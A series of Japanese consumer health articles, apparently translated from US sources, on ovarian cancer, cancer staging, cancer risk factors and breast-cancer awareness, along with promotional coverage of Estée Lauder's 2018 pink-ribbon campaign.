shutterstock化学療法では、がん細胞の増殖をおさえる薬が使われます。飲み薬の場合もありますし、静脈や筋肉に注射することも。多くは、手術の前後に行われます。分子標的治療薬image via shutterstock分子標的治療薬では、がん細胞をねらい撃ちして、がん細胞の成長、増殖、修復のほか、ほかの細胞へのはたらきかけを阻害します。この治療は、正常な細胞に与えるダメージが少ないとされています。※1 American Cancer Society, Mayo Clinic, American Cancer Society, American Cancer Society ※2 Mayo Clinic ※3 NOCC, CDC, American Cancer Society, American Cancer Society, American Cancer Society ※4 American Cancer Society卵巣がんをもっと知ろう卵巣は、“沈黙の臓器”。無症状の卵巣腫瘍をどうやって見つける？些細なことも気に留めて。医師が教える｢卵巣がん｣になりやすい条件7つBrittany Risher/Ovarian Cancer: How to Keep This Deadly Disease out of Your Future訳/STELLA MEDIX Ltd.

image via shutterstock女性がかかるがんの中で、卵巣がんが占める割合は3％ほど。でも、女性の生殖器系のがんのなかではもっとも命にかかわります。基礎知識編はこちら。卵巣がんの原因とは？卵巣がんの原因はまだはっきり分かっていませんが、次のようなことで発症のリスクが高くなると考えられています（※1,2）。太り過ぎ家族のなかに、卵巣がんになった人がいる加齢子宮内膜症にかかっているエストロゲンのホルモン補充療法を受けている突然変異の遺伝子を受け継いだ妊娠・出産の経験がない卵巣がんは、どんな症状なの？初期の卵巣がんは、自覚症状がほとんどありません。「静かにしのび寄ってくる病気です。気づいたときにはすでに進行している、ということも少なくありません」と、医師のステファニー・ウェシントンさん。ウェシントンさんは、科学修士号を持ち、ジョンズ・ホプキンズ医学校（※3）で産婦人科の教授をつとめています。注意したほうがよい症状は次のとおりです。おなか、背中、骨盤の痛み太った頻回の下痢消化不良気力がなくなるおなかや骨盤まわりが大きくなる食欲がなくなる頻尿1、2日程度なら、だれでもこのような症状を経験したことがあるかもしれません。でも、症状が1、2週間続いて体調がすぐれないときは、かかりつけの医師または婦人科の医師に相談するとよいでしょう。ただし、膣から不正出血があった場合はただちに婦人科を受診します（※4,5）。診断・治療については、次回に。※1 CDC, American Cancer Society ※2 American Cancer Society ※3 Johns Hopkins Medicine ※4 CDC, American Cancer Society, Mediline Plus ※5 American Cancer Society卵巣のこと、もっと知りたい卵巣は、“沈黙の臓器”。無症状の卵巣腫瘍をどうやって見つける？些細なことも気に留めて。医師が教える｢卵巣がん｣になりやすい条件7つBrittany Risher/Ovarian Cancer: How to Keep This Deadly Disease out of Your Future訳/STELLA MEDIX Ltd.

image via shutterstock女性がかかるがんの中で、卵巣がんが占める割合は3％ほど。でも、女性の生殖器系のがんのなかではもっとも命にかかわります。卵巣がんは、気づきにくい病気女性の体には、子宮の左右にそれぞれ1個ずつ、計2個の卵巣があり、その卵巣のはたらきによって、ホルモンと卵子が作られます。卵巣がんとは、卵巣にできるがんのこと。米国では、毎年約2万人の女性が卵巣がんと診断されます。閉経後の女性や、卵巣がんの家族歴がある女性は卵巣がんになるリスクが高くなります（※1）。一生のうちに、卵巣がんにかかる女性は75人に1人。卵巣がんは、「サイレントキラー」と呼ばれることも。初期のうちは自覚症状がほとんどなく、加齢や閉経に伴う、何てことのない体調の変化と勘違いされやすいからです（※2）。女性がかかるがんのうち、卵巣がんが占める割合はたった3％ほどですが、生殖器系のがんのなかでは、もっとも命にかかわります（※3）。日本の最新のデータにおいては、2014年に卵巣がんと診断された女性は1万11人、2017年に卵巣がんで亡くなった女性は4745人でした。罹患率と死亡率は最近40年間にわたって上昇傾向にあります。ただし、最近10年間は横ばいに近くなってきました（国立がん研究センターがん対策情報センターの統計より）。重要なのは、卵巣がんは発見が早ければ早いほど、生存率が高くなることです（※4）。卵巣がんにはどんな種類があるの？image via shutterstock卵巣がんには3つのタイプがあります。細胞のどの部分にがんができるかによって、次のように分けられます（※5）。上皮性（じょうひせい）：卵巣がんのなかでもっともよくみられるタイプ。卵巣の表面をおおう上皮にできる腫瘍。卵巣がんは上皮細胞から発生することがとても多い。胚細胞性（はいさいぼうせい）：卵子のもとになる胚細胞にできる腫瘍。卵巣がんの2％ほどを占める。性索間質性（せいさくかんしつせい）：卵巣の結合組織にできる腫瘍。エストロゲン、プロゲステロンを産生することも多い。卵巣がんに占める割合は、1％くらい。卵巣がんの合併症は？image via shutterstock卵巣がんの合併症は、治療の方法によって異なります。たとえば、化学療法をすると疲労感、脱毛などの副作用がみられます。手術で両側の卵巣を取り除くと、閉経前でも早期の閉経を経験することに。また、卵巣がんは腹部のほかの場所や、骨盤内の臓器やリンパ節にひろがることもあります（※6）。原因・症状については、次回に。※1 CDC ※2 NCBI ※3 CDC ※4 NOCC ※5 American Cancer Society ※6 American Cancer Societyがんを早く発見するには？乳がんの“しこり”は石のように｢硬い｣。自己触診がほんとに大切頭皮に見つけた円形脱毛、それは乳がんのせいでしたBrittany Risher/Ovarian Cancer: How to Keep This Deadly Disease out of Your Future訳/STELLA MEDIX Ltd.

10月はピンクリボン月間です。がん登録・統計HPによると、女性のがんの中で一番多いのが乳がんだとか。そこでエスティ ローダー グループは「乳がんのない世界」を創るためにキャンペーン活動を開始。26年目を迎えた今年は10月の1か月間、乳がんのない世界を創ることを目的とした「乳がんキャンペーン」を実施しています。「目標は乳がんを撲滅させること」今年のテーマは、「Time To End Breast Cancer #乳がんのない世界へ ～伝えたいメッセージを花に託して～」。デンマーク出身のフラワーアーティスト、ニコライ バーグマンさん率いるNicolai Bergmann Flowers ＆ Designとコラボレーション。2018 年 10 月 2 日（火）から 8 日（月・祝）まで、ピンク色の花でディスプレイされた「Nicolai Bergmann Flowers & Design Flagship Store（ニコライ バーグマン フラワーズ & デザイン フラッグシップ ストア）」の店内で、「ピンクリボン フラワー カフェ」を期間限定オープン。このカフェだけで楽しめるオリジナル ドリンク「Juice of Hope」や、コレボレーションによる限定商品も販売し、大いに盛り上がりました。とくに注目を集めたのは、オープニングパーティーでの講演。エスティ ローダー グループ／ELGC 株式会社 代表取締役社長 スー フォックスさんが登壇し、つぎのようにスピーチしました。このキャンペーンを始めたエヴリンローダーは、1992 年、店頭でピンク色のリボンを配りました。そこから乳がんキャンペーンは始まり、今は日本中・世界中へと広がっています。世界のどこかで19秒に1人、乳がんと診断されております。私たちの目標は乳がんを撲滅させることです。 （エスティ ローダー グループリリースより）フラワーアートが話しづらい会話のきっかけになるさらに、コラボレーションパートナーのニコライ バーグマンさんも登壇。今回のコラボレーションに関して、乳がんに限らず、がんという話題は会話しにくいものです。そこで自分がなにかできない かと考えたときに、自分のフラワーアートを通して少しでも会話するきっかけにできないかと思いつきました。 （エスティ ローダー グループリリースより）とスピーチ。またキービジュアルに関しては、パワフルで力強い球体にしようとインスピレーションがわき、「Circle of care」を制作するに至ったとか。可憐で美しいだけでなく、芯の強さも伝わるビジュアルです。そして国立国際医療研究センター 乳腺腫瘍内科 清水千佳子先生も登壇。「今は、がんを小さくみつかれば乳房を残すこともできるようになりましたし、再建の技術も進んでいます」といった発表で、会場の人々を勇気づけました。“支援アイテムを購入する”という参加の仕方も世界各国で 60 を超える乳がん関連組織と連携し、研究、教育、医療サービスの支援をおこなっている、「乳がんキャンペーン」。自分も参加したいと思ったら、数量限定で発売中のエスティ ローダー グループのキャンペーン支援製品を購入するだけでも◎。収益の一部は、米国乳がん研究基金（BCRF）や JBCRG（Japan Breast Cancer Research Group）等を通じて、 医療研究に役立てられます。気になる商品ラインナップは8種類。ラボ シリーズ「エイジ R+」6,900 円（税抜）アヴェダ「ピンクリボン シャンピュア ハンドクリーム」3,600 円（税抜）ボビイ ブラウン「ピンクス ウィズ パーパス リップ カラー デュオ」 06 ピンク/22 サンドウォッシュピンク5,800 円（税抜）クリニーク「ドラマティカリー ディファレント モイスチャライジング ローション プラス」6,500 円（税抜）ドゥ・ラ・メール「クレーム ドゥ・ラ・メール -ザ・モイスチャライジング ソフト クリーム」 各 10,000 円（税抜）トム フォード ビューティ「リップ カラー」6,000 円（税抜）※トム フォード ビューティは、限定品ではなく、レギュラー販売中の「リップ カラー」全色が支援対象製品となりますジョー マローン ロンドン「レッド ローズ コロン」16,000 円（税抜）エスティ ローダー「パワフル ピンク カラー コレクション」7,000 円（税抜）また「乳がんキャンペーン」の一環として、10 月 31 日（水）までInstagram ハッシュタグ投稿キャンペーンも実施中。詳細はこちらから。美しい花を通じて、大切な人と乳がんについて会話するきっかけとなる「乳がんキャンペーン」。この活動のおかげで、乳がんへの認識をより深めることができました。乳がんキャンペーン：乳がんのない世界へ乳がんについて正しく知っていますか？若年性乳がん、どんな人がなりやすい？ 20代、30代の若い世代の乳がんのことを報道などで耳にすることが増えました。｢どんな人が注意すべき？｣｢どんな検査でわかるの？｣｢授乳中は気づきにく... がんの4つのステージ（病期）を正しく知ろう ガンの広がりを分類する｢ステージ分類｣。それを決める方法や疑問について紹介します。

10月は、アメリカがん協会（ACS）などの主要団体が制定した「乳がん意識向上月間（BCAM：Breast Cancer Awareness Month）」。ピンクリボンをよく見かけますし、乳がんの“サバイバー”の話を聞いた人もいるかもしれません。定期的な自己検診（セルフチェック）と、医師による検査の大切さを考えることも多いはず。すべてが重要なことなのです。image via shutterstockこの1カ月に頭に入れておいてほしいのが、「あなたのレモン（乳房）を知ろう（Know Your Lemons）」キャンペーンの1枚の写真です。「乳がんはどんな風に見えて、どんな感じなのか」と題され、12個のレモンを使ってまさにそのことを説明しています。命は大切。すべての女性に見てもらいたい写真なのです。この写真は、非営利団体「ワールドワイド・ブレスト・キャンサー（Worldwide Breast Cancer）」のコリーン・エルズワース・ボーモントさんが作成したものです。乳房から突き出たしこり、皮膚表面のただれや凸凹など、あまり知られていない乳がんのサインを具体的に見せているだけではありません。ほてり、目に見えないしこり、厚みのある部分といった症状も細かく説明しています。image via shutterstock乳がんサバイバーとなった女性、エリン・スミス・シエズさんの投稿のおかげで、昨年、SNSにより一気に広がったのです。4万7000回もシェアされた投稿には、レモンの写真に加えて、自分が乳がんと診断された経緯がつづられていました。「乳がんの啓発のためのハートマークは目に付くのに、乳がんがどう見えるかを本当に“解説している人”がいなかったのです。それこそが実際に命を救うのに」と思って、投稿を決心したといいます。スミス・シエズさんによると、「以前、誰かが“乳がんはどう見えるか”という写真をフェイスブックに投稿していました。どう“感じる”かではなく、どう“見える”か。2015年の12月、自分の乳房にその写真のような凹みがあるのを見て、すぐに乳がんだとわかりました。腫瘍を感じ取ろうと触ってみましたが、私の腫瘍は『非触知』（触ってもわからない）タイプだったのです」。5日後、スミス・シエズさんは乳がんと診断され、翌月にはステージIVと判明しました。image via shutterstock投稿によると、「ハートマークは何の役にも立たないのです。乳がんがどんなものなのかは知っていましたし、自己検診についても知っているつもりでした。ただ、自分が死に至る病にかかっているとわかったのは、どんなサインを探せばよいかを示す、1枚の写真のおかげでした」といいます。スミス・シエズさんは、かわいいハートマークではなく、本物の情報を提供することの重要性を強調しているのです。「本物の情報が載った写真をたまたま見たのですが、それがなかったら、何を探せばよいのか知らなかったのです。命を大切に考えたときに、本物の人助けになるのは、転移性乳がんの治療研究や啓発だと思っています」10月、乳がんの意識向上を考えたときに投稿をシェアするなら、レモンの写真にしてはいかがでしょうか。そのことが誰かの命を救うかもしれません。ワールドワイド・ブレスト・キャンサーへの寄付もいいかもしれません。乳がんについての理解をさらに広めることができるはずです。女性特有の病気、ちゃんと知ろう30歳以上の3〜4人にひとりはもっている子宮筋腫。あなたは大丈夫？ 今回は、｢30歳から多くなる子宮筋腫｣について、女性医療ジャーナリストの増田美加がお伝えします。筋腫の診断方法は？ 治療が必要なのはどんな人？ 卵巣の腫瘍って怖い病気!? 今回は、｢卵巣の腫瘍って怖い病気?！｣について、女性医療ジャーナリストの増田美加がお伝えします。 Groth/Early Signs of Breast Cancer Perfectly Illustrated in Photo of Lemons訳/STELLA MEDIX Ltd.

がんと診断された場合、そのがんがどのステージ（病期）なのかも、おそらく一緒に知らされます。「がんをいくつかのステージに分ける大きな目的は、がんの広がり具合を評価」して、今後の経緯を判断することです、とウィスコンシン州ミルウォーキーのアセンション・コロンビア・セント・メアリーズ病院の婦人科がん専門医、アリ・マーダビさん（産科婦人科クリニック特殊医療アセンション・メディカル・グループ医長）。image via shutterstockつまり、がんがこの先どのように進行しそうか、どんな症状が出そうか、生存率はどの程度か、予想される合併症は何かといった問題を検討するための基本情報が「ステージ分類」。一般的には、がんが早期であるほど、先行きの経過がよくなります。がんがどのステージにあるかで、治療法も決まります。例えば、ひとつの部分だけにある早期のがんなら、手術で取り除くか、放射線治療が使えますが、ほかの部分にも広がってしまった後期のがんは、化学療法が必要になるかもしれません。がんのステージを決めるためにいちばん多く使われている方法：TNMimage via shutterstockがんのステージを決めるための方法（病期分類システム）でもっとも広く使われているタイプは「TNM分類システム」。腫瘍（T）、リンパ節（N）、転移の程度（M）を文字と数字で表し、それぞれの評価から、がんのステージを全体的に判断します。腫瘍TNMのTは、腫瘍の大きさ、発生した器官からどれくらい成長しているか、ほかの組織まで広がっているかなど、腫瘍そのものの情報です。TXは、腫瘍が測定できないという意味。T0は、腫瘍が見つからないという意味。Tisは、腫瘍が組織のいちばん上の層でしか成長していないという意味（これは普通、ステージ0または「上皮内がん」に当てはまります）T1〜T14は、腫瘍の大きさと、近くの組織までどの程度広がっているかを示し、Tに続く数字が大きいほど、大きな腫瘍になります。image via shutterstock リンパ節Nの部分は、がんがリンパ節まで広がっているかどうかを表します。NXは、近くのリンパ節が評価できないという意味。N0は、近くのリンパ節にがんがないという意味。N1-N3は、近くのリンパ節にがんがある場合で、その大きさ、場所、数を表します。転移M（転移）は、がんが身体のほかの部分に広がっているかどうかを表します。MXは、転移が測定できないという意味。M0は、がんが広範囲には広がっていないという意味。M1は、がんが遠くの器官や組織まで広がっているという意味。がんのステージ0〜IVimage via shutterstockT、N、Mが決まると、医師はがんを0から4までのステージに分類します。分類方法はがんの種類によって少し違いがあり、ステージをさらにAとBに分類する場合もあります。次に各ステージを大まかに説明しましょう。ステージ0正直に言って、ステージ0はがんの最も初期の段階なのか、あるいは「前がん段階」なのかについては意見がわかれているのが現状です（そして、すべてのがんにステージ0があるわけではありません）。でも、何を意味するかに関する議論を別にすれば、おおよそ次のように考えられます。「前がん状態は虹の色の違いのように『わずかに異常な細胞』から『とても異常な状態』までさまざまな段階があります。すると、ステージ0はその違い中でいちばん端にある、最も異常な状態の前がんとなるのです」と、コロンビア大学アービング医療センターの婦人科がん専門医で産婦人科助教授のジューン・ホウさん。image via shutterstockステージ0は、ほとんどのがんで“上皮内がん（CIS）”と呼ばれます。「ステージ0は一般的に、表層、つまり最初の壁を越えていないがん細胞があるという意味です。例えば乳がんなら、DCIS（上皮内乳管がん）というものがあります。この場合、がんは乳管から普通の乳房組織にまでは拡大していません」と、ルイジアナ州に2つの医療施設があるポンチャートレインがんセンターの創設者で腫瘍専門医のデビッド・N・ウーバーさん。しかし、“上皮内”でもやはり危険。「いずれは浸潤性になります。ですから、がんではないということではありません。単にまだ十分に発達していないだけです」（ウーバーさん）ステージIとIIこの段階では、がんはたいてい身体のひとつの部分だけにとどまっています。普通、ステージIは小さめ、ステージIIは大きめのがんです。ステージIIIこの段階は、がんがリンパ節にまで広がっているという意味です。ステージIVこの段階は一般的に、がんが身体全体に大きく広がっているか、 リンパ節を越えてほかの臓器などに転移した場合を意味します。がんのステージ分類について、よくある3つの質問image via shutterstock 01. TNMは、がんのステージと一致するの？重要な注意。TNM分類の組み合わせは、がんのステージとは必ずしも一致しません。「T3、N0、M0の大腸がんはステージIIになります。でも、別の種類のがんでは、T3、N0、M0でもステージIになることもあります」（ウーバーさん）がんのステージ分類には、ほかの要素も影響します。例えば、がんの「グレード（悪性度）」は、がん細胞がどれくらい異常か（悪性か）の尺度。低グレード（low grade）のがんは正常な組織の細胞と同じように見え、増殖も遅いのですが、高グレード（high grade）のがんは急速に増殖します。また「細胞のタイプ（組織型）」も、治療法の選択に影響するため、がんのステージを判断する上で大切な要素となります。02. がんのステージは経過とともに変わるの？診断のときに決まったステージはその後も考慮されることがあります。最初にステージIIの乳がんと診断された場合、よくなった後に再発して骨まで広がっても、ステージIVの状態になりますが、“骨に再発したステージIIの乳がん”と呼ばれることがあるのです。03. 例えば「ステージIIIのがん」と言えば、どのがんでも同じなの？最終的に、さまざまな段階のあらゆるがんは、その後の経過も治療法もそれぞれ違うということを覚えておきましょう。ですから、同じステージIIIでも、がんの種類が違えば治療法も、その後の経過も同じとは限りません。ホウさんによると、「友人や家族からがん治療の話を聞いていたり、身近な人が受けた治療を覚えていたりする患者も多くいます。私は、すべてのがんが同じように対応するわけではないと理解してもらうようにしています。それに、がんの種類によって、治療法の進歩状況も違うのです」ですから、診断について必ず主治医とよく話し合い、それがどういうことで、どういう治療につながるのか、きちんと理解しておくことが大切です。ガンをもっと知るには？ハリウッドのセレブママ、クリス・ジェンナーが｢乳ガン検査｣について投稿 クリス・ジェンナーは、ハリウッドで最も有名な母親のひとりであり、女性の健康についての啓蒙をしてているお手本でもあります。このセレブママが、インスタグ... 若年性乳がん、どんな人がなりやすい？ 20代、30代の若い世代の乳がんのことを報道などで耳にすることが増えました。｢どんな人が注意すべき？｣｢どんな検査でわかるの？｣｢授乳中は気づきにく... Bianchi/This Is Exactly What the 4 Stages of Cancer Really Mean訳/STELLA MEDIX Ltd.

アメリカ人の死因として2番目に多いのが、がんという大きな脅威。でもありがたいことに、がんのリスクを上げる最大の要素のなかには、自分でなんとかできるものもあります。ライフスタイルを少し変えるだけで、ほかのいろいろな病気はもちろん、がんになる確率も下げられます。がんになりやすい遺伝子変異を受け継いでいる場合などのように、自分ではどうしようもない原因でさえ、最新の情報を活用すれば、健康を守るために最善の方法を取ることができます。01. 喫煙「がんになりやすくなる要素のトップ5と言えば、とにかく1位から5位まですべてが“喫煙”です」と、ルイジアナ州に2つの医療施設があるポンチャートレインがんセンターの創設者で腫瘍専門医のデビッド・N・ウーバーさん。喫煙の習慣がどれほど危険なものかおわかりでしょう。頻繁にたばこを吸うほど、そして喫煙歴が長いほど、リスクは高くなります。たばこを吸うと、肺がんだけでなく、喉や食道など口につづく部分のがんになるリスクもアップ。肝臓、膀胱、すい臓、腎臓、胃腸など消化系の器官もダメージを受けます。アメリカ国立がん研究所（NCI）の報告によると、たばこの煙には250種類もの有害な化学物質が含まれ、少なくともその69％が、がんの原因になるそう。考えてもみてください。ヒ素やホルムアルデヒドが含まれているのです。それに、影響を受けるのはあなただけではありません。副流煙のせいで、たばこを吸わない人にも肺がんになる危険が。では、この不健康な習慣を永遠にやめるにはどうすればいいでしょう？「まずは、“やめようかな”ではなく、本気でやめようと決意することからです。たとえどうしても吸いたいという欲求におそわれたとしても」と、ウーバーさん。誰にでも効く万能の方法こそないものの、効果的な禁煙法がたくさんありますから、自分のライフスタイルにいちばん合う方法を見つければいいだけ。ニコチン入りのガムやトローチでうまくいかない場合、ニコチンを含まない錠剤「チャンピックス」はたばこを吸いたい欲求を抑えてくれます。02. お酒の飲みすぎときどきグラス1杯のワインやビールを楽しむのはまったく問題ありませんが、お酒を飲みすぎると健康を損なうリスクが高くなるかも。「ワインは心臓にはよいかもしれませんが、男性なら1日2杯、女性なら1日1杯を超えると、死亡率が上がります」（ウーバーさん）さらにお伝えしておきますが、有名な医学誌『ランセット』誌で報告された2018年の研究によると、いちばん安全なアルコール摂取量は「ゼロ」だとか。そう、まったく飲まないことです。その理由というのは、お酒を飲むと、健康全般に影響が出る可能性があるというのです。どんな種類のお酒でも、飲みすぎると、口、喉、食道、肝臓、大腸のがん、それに乳がんのリスクが高くなります。また、アメリカがん協会（ACS）によると、お酒を飲みながらたばこを吸うと、さらにリスクアップ。アルコールをとると、たばこに含まれる化学物質が口や喉、食道の細胞に入りやすくなるうえ、細胞が受けたダメージも修復されにくくなるからです。03. 不健康な食事研究によると、赤身の肉（ビーフ、ポーク、ラム）と加工肉（ソーセージ、ホットドッグ、ハム類など）を食べると、大腸がんのリスクが上がります。もちろん、ハンバーガーやホットドッグ、プルドポーク（蒸し豚）サンドなどをまったく食べないようにするということではありませんが、なるべく少なくする方がよさそうなのは確か。ジュースやソーダ、ピザなど、グリセミック指数が高い飲食物は、前立腺がんのリスクを上げるという研究結果も出ています。でも、豆類など栄養価の高い食べ物をとると、前立腺がんと大腸がんのリスクが下がるそう。04. 座って過ごす時間が長すぎる座っている時間が長いのは、健康にいちばんよくない要素のひとつ。過去の観察研究のデータをまとめて分析した研究によると、1日に座っている時間が長い人は短い人よりも、大腸がん、子宮内膜がん、肺がんのリスクが高い結果でした。もっと活動的でいられるように、デスクを立って使うタイプに変えてみては？ そして最低限、必ず1日を通してできるだけ頻繁に歩きまわり、ストレッチします。定期的な運動も忘れずに（理想的には毎日少なくとも30分）。NIHによると、よく体を動かしている人は、大腸がん、乳がん、子宮内膜がんになりにくいそう。運動には、炎症を減らし、免疫力を高め、消化を助ける効果もあります。「運動すると、抗がん効果と抗炎症効果のある物質が出ます」と、ウィスコンシン州ミルウォーキーのアセンション・コロンビア・セント・メアリーズ病院の婦人科がん専門医のアリ・マーダビさん（産科婦人科クリニック特殊医療アセンション・メディカル・グループ医長）。05. 体重が重すぎる体重が重すぎると、乳がん、卵巣がん、大腸がん、甲状腺がん、胆のうがん、すい臓がんなどのリスクが高くなります。腹部脂肪、つまりおなかの脂肪は、余分な体重のなかでもいちばん高リスク。ヘルシーな食事と定期的な運動という基本を守って、体重を健康的な範囲に保ちましょう。06. HPV（ヒトパピローマウイルス）陽性ヒトパピローマウイルス（HPV）は、子宮頸管がん、肛門がん、中咽頭（のどの中間部分）がん、膣がん、外陰がん、陰茎がんなど多くの種類のがんを引き起こします。HPVは皮膚の接触によって伝染する性感染ウイルス。身を守るよい方法のひとつがワクチン接種で、アメリカ疾病管理予防センター（CDC）は11歳か12歳で受けるよう勧めています（または、26歳までの女性と、21歳までの男性で、以前に適切なワクチン接種を受けていない人）。コンドームの使用やセックスパートナーの数を制限することも、HPV感染のリスク低下に役立ちます。子宮頸部に前がん性の変化が現れたらすぐにわかるように、定期的に産婦人科医の診察を受け、細胞診検査やHPV検査の頻度に関するアドバイスに従いましょう。07. 年を重ねている時計の針は戻せませんが、年を重ねるにつれて、気になる症状や定期検査で主治医に診てもらうことがいっそう大切になります。年をとると、さまざまながんになりやすいからです。どんな年齢でもがんになりますし、若い人の方が多いがんもある（骨がん、白血病、神経芽細胞腫など）とはいえ、がんと診断される年齢は平均66歳。「年齢が進むと、環境的な原因により（有害な化学物質や太陽光にさらされるなど）、遺伝子変異のリスクが高くなります。DNAはこのような変化をいくらかは修復できますし、修復できない変化が多少あっても、細胞の機能に大きな影響はないでしょう」と、マーダビさん。でも、年をとるとこのようなDNAの変化が積み重なり、臨界点に達するそうで、そうなると、「細胞は正常にはたらけなくなり、がんが形成されます」（マーダビさん）。08. 遺伝子変異を受け継いでいる年をとるにつれて増えてゆく遺伝子変異とは違って、生まれたときに受け継いだ遺伝子変異はどうすることもできません。でも、家族の病歴をたどって知ることは可能。親族にがんが多いようであれば（特に両親、兄弟姉妹、子どもなどの近親者で見られる場合や、若い頃にがんになった親族がいる場合）、遺伝子検査を受ける方がよいか、遺伝カウンセラーか主治医に相談します。遺伝子の構成を知れば、ご先祖の時代にはなかった対処法も選べるようになり、最良の「インフォームドディシジョン（説明を受けたうえでの決定）」に役立ちます。例えば、リンチ症候群の遺伝子変異があったら（とりわけ大腸がんと子宮頸がんのリスクが高くなります）、若いころに大腸内視鏡検査を始めるとか。さらに、BRCA1やBRCA2の遺伝子変異がある女性は、乳房や卵巣にがんができるリスクが高いため、乳房や卵巣を前もって切除する道を選ぶ人もいます。健康のためにできること34歳以下の若年性乳がんの見つけ方と、もしも乳がんが見つかったらどうする？ 20代、30代の若い世代の乳がんのことが｢気になる……｣という質問が私のもとに増えています。そこで今回は、若年性乳がんについて、前回に続いてお伝えし... がん細胞は甘いもの好き？ ｢糖質｣は、がん増殖のためのエネルギー源 ガン細胞は、仲間を増やすために力強く増殖していきますが、その主なエネルギー源が、なんと糖質なのです。 Bianchi/8 Things That Increase Your Risk for Multiple Types of Cancer訳/STELLA MEDIX Ltd.

エスティ ローダー グループは、活動26年目を迎える今年も、乳がんのない世界を創ることを目的とした「乳がんキャンペーン」を実施。2018年の乳がんキャンペーンのテーマは、「Time To End Breast Cancer #乳がんのない世界へ ～伝えたいメッセージを花に託して～」。アーティストのニコライ バーグマン氏率いるニコライバーグマン フラワーズ ＆ デザインとコラボレーション！提供：エスティ ローダーコラボが実現したアーティストのニコライ バーグマン氏率いるニコライバーグマン フラワーズ ＆ デザインとのキャンペーンには、美しい花をきっかけに、大切な人と乳がんについて会話してほしいという思いが込められているんです。ピンクのフラワーデザインが魅力の期間限定カフェ「ピンクリボン フラワー カフェ」2018年10月2日（火）から8日（月・祝）まで、「Nicolai Bergmann Flowers & Design Flagship Store（ニコライ バーグマン フラワーズ ＆ デザイン フラッグシップ ストア）」内をピンク色の花でディスプレイ。また、期間限定カフェ「ピンクリボン フラワー カフェ」がオープンします。提供：エスティ ローダーキービジュアルのピンクのフラワーデザインでディスプレイされたカフェやフラワーショップは、存在感を出しながらもお洒落でつい足を踏み入れたくなる空間。提供：エスティ ローダーこのカフェだけで楽しめるオリジナル ドリンク「Juice of Hope」もあります。そしてキャンペーン期間中、ストアでは、「ピンクリボン限定 オリジナル フラワーボックス」が数量限定で販売されます。売上の一部は JBCRG（Japan Breast Cancer Research Group）へ寄付されるそうですよ。フレッシュフラワーボックス提供：エスティ ローダープリザーブドフラワーボックス提供：エスティ ローダー発売期間2018年10月2日（火）～なくなり次第終了価格：フレッシュフラワーボックス Sサイズ 4,000 円（税抜）、プリザーブドフラワーボックス Sサイズ 9,000 円（税抜）住所：東京都港区南青山5-7-2ニコライ バーグマン フラワーズ ＆ デザイン コラボレーション詳細＜ピンクリボン フラワー カフェ＞実施時期：2018年10月2日（火）～8日（月・祝）住所：東京都港区南青山5-7-2営業時間：10:00-20:00 ※10月2日（火）は13:00から営業予定※最新情報は特設サイトをご確認ください。特設サイト概要：オリジナル ドリンク「Juice of Hope」発売（価格：750 円（税抜）＜1日15杯限定 オリジナルフラワーシール付＞）オリジナルフォトスポット乳がんの知識を深めていただけるコンテンツオープン当日の2日は、プレス向けパーティが実施予定。ニコライ バーグマン氏も登壇し、コラボレーションに込めた思いを聞くことができます。Instagram ハッシュタグ投稿キャンペーン「大切な人に伝えたいメッセージを花に託して」キャンペーンの一環として、Instagram ハッシュタグ投稿キャンペーンも実施。ピンク色の花の写真にハッシュタグ「#乳がんのない世界へ」を付けて投稿すると、抽選で5名様にピンクリボン限定 オリジナル フラワーボックスのプレゼントが！Instagram ハッシュタグ投稿キャンペーン概要期間：9月18日（火）～10月31日（水）応募方法：「ピンク色の花の写真」に「#乳がんのない世界へ」をつけてInstagramにご投稿ください。賞品：ニコライ バーグマン ピンクリボン限定 フラワーボックス（抽選で5名様）※詳細は特設サイトをご確認ください。※当選の場合は、Instagramキャンペーンアカウント（ELGC BCC 事務局：@ELGCBCC_CP2018）より当選者へ直接ご連絡いたします。特設サイト京都 清水寺、東京スカイツリーがピンク色になる！？提供：エスティ ローダーエスティ ローダーは、「乳がんキャンペーン」の認知度向上を目的として、毎年10月に世界の主要建造物をピンク色にライトアップする「グローバル ランドマーク イルミネーション」を実施しています。今年は京都 清水寺＜仁王門、西門、三重塔、観音慈光＞（京都府京都市）や、東京スカイツリー（東京都墨田区）といった各地のランドマークがピンク色にライトアップ。グローバル ランドマーク イルミネーション 詳細京都 清水寺 ＜仁王門、西門、三重塔、観音慈光＞実施時期：2018年9月28日（金）～10月28日（日） ※10月20日（土）は通常ライト色住所：京都府京都市東山区清水1丁目294点灯時間：19:00-22:00※9月29日（土）は18:30～21:00（受付終了/21:30 閉門）、夜間特別拝観無料（通常大人 400円）＜東京スカイツリー＞実施時期：2018年10月1日（月）住所：東京都墨田区押上1丁目1-2点灯時間：18:30-22:00提供：エスティ ローダーまた、10月1日（月）よりキャンペーン支援製品が数量限定で発売。その収益の一部は、乳がん撲滅への研究資金へ。「乳がんキャンペーン」を実施しているエスティ ローダー グループはこのような活動を26年続けているんです。普段、乳がんについて考える機会がないという方も、見つめ直すいい機会になるのではないでしょうか？今回のコラボレーションでもある、美しい花をきっかけに、ぜひ大切な人と乳がんについて話してみてくださいね。

エスティローダーグループは、活動26年目を迎える今年も、乳がんのない世界を創ることを目的とした乳がんキャンペーン「Time To End Breast Cancer #乳がんのない世界へ」を展開。合わせて、フラワーアーティストとの期間限定コラボカフェや、Instagramハッシュタグ投稿キャンペーン、イルミネーションイベント等を実施する。テーマは「伝えたいメッセージを花に託して」エスティローダーグループが実施する「Time To End Breast Cancer #乳がんのない世界へ ～伝えたいメッセージを花に託して～」では、フラワーアーティストのニコライ バーグマン氏率いる「ニコライ バーグマン フラワーズ＆デザイン」とコラボレーション。美しい花をきっかけに、大切な人と乳がんについて会話してほしいという思いを込めたキャンペーンを実施する。コラボレーションの一環として、2018年10月2日(火)から8 日(月・祝)まで、「Nicolai Bergmann Flowers & Design Flagship Store(ニコライ バーグマン フラワーズ＆デザイン フラッグシップストア)」(東京都港区南青山)の店内をピンク色の花でディスプレイ。期間限定カフェ「ピンクリボン フラワーカフェ」をオープンする。Instagramハッシュタグ投稿キャンペーンで「ピンクリボン限定フラワーボックス」をプレゼントまた、9月18日(火)～10月31日(水)の期間限定で、Instagramハッシュタグ投稿キャンペーンも実施。ピンク色の花の写真にハッシュタグ「#乳がんのない世界へ」を付けて投稿すると、抽選で5名様にピンクリボン限定オリジナルフラワーボックスをプレゼント！◆Instagramハッシュタグ投稿キャンペーン概要期間:9月18日(火)～10月31日(水)応募方法:「ピンク色の花の写真」に「#乳がんのない世界へ」をつけてInstagramにご投稿ください。賞品:ニコライ バーグマン 